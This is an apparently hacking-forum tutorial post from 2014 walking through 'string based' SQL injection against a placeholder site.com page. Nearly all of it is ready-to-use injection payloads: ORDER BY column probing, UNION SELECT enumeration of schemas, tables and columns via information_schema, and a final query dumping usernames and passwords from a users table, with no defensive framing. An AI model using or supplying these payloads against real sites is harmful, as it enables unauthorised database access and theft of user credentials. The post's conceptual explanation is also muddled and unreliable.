Nov 18, 2014 12:54 PM
(This post was last modified: Dec 16, 2015 05:18 AM by -zERAiT.)
String Based SQL Injection
In this tutorial we'll be going through an String Based SQL Injection.
What is String Based SQL Injection?
String Based SQL injection happens when the site is vulnerable to SQL injection but doesn't show us the results needed to be displayed after executing our SQLi query.
Some known issues listed below:
- "group by" doesn't work.
- "order by " doesn't work.
Example
Union Based
PHP Code
<?php
http://site.com/index.php?id=1 order by 100--
String Based
PHP Code
<?php
http://site.com/index.php?id=1' order by 100--+
Exploiting an String Based SQL Vulnerability
We'll be using the site below for an example.
PHP Code
<?php
http://site.com/index.php?id=1
Finding the amount of columns
PHP Code
<?php
http://site.com/index.php?id=1' order by 100--+
PHP Code
<?php
http://site.com/index.php?id=1' order by 10--+
PHP Code
<?php
http://site.com/index.php?id=1' order by 11--+
This means that we have 10 columns.
Finding vulnerable columns
PHP Code
<?php
http://site.com/index.php?id=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,10--+
Getting database
PHP Code
<?php
http://site.com/index.php?id=-1' UNION SELECT 1,group_concat(schema_name,0x0a),3,4,5,6,7,8,9,10 from information_schema.schemata--+
Getting tables from database
PHP Code
<?php
http://site.com/index.php?id=-1' UNION SELECT 1,group_concat(table_schema,0x0a),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=database()--+
Getting columns from table
You'll have to convert your table name into hex and add "0x" infront of it.
Quote:http://www.swingnote.com/tools/texttohex.php
http://hex.online-toolz.com/tools/text-h...vertor.php
http://www.unit-conversion.info/texttools/hexadecimal/
PHP Code
<?php
http://site.com/index.php?id=-1' UNION SELECT 1, group_concat(column_name,0x0a),3,4,5,6,7,8,9,10 from information_schema.columns where table_name=0xTABLENAMEINHEX--+
Getting data from columns
PHP Code
<?php
http://site.com/index.php?id=-1' UNION SELECT 1,group_concat(username,0x3a,password,0x0a),3,4,5,6,7,8,9,10 from users--+
You can read my other tutorials by clicking below.
- [Tutorial] Basic / Union based SQL Injection
- [Tutorial] String Based SQL Injection
- [Tutorial] MsSQL Injection
- [Tutorial] Web Application Firewall [WAF]
- [Tutorial] Server Side Include Injection [SSI Injection]
- [Tutorial] XPath Injection [ExtractValue]
- [Tutorial] Remote File Inclusion
- [Tutorial] Directory Traversal
Thats it for now, if you still have any questions related to String Based SQL Injection then feel free to hit me up.
Thanks for viewing my thread.🤝

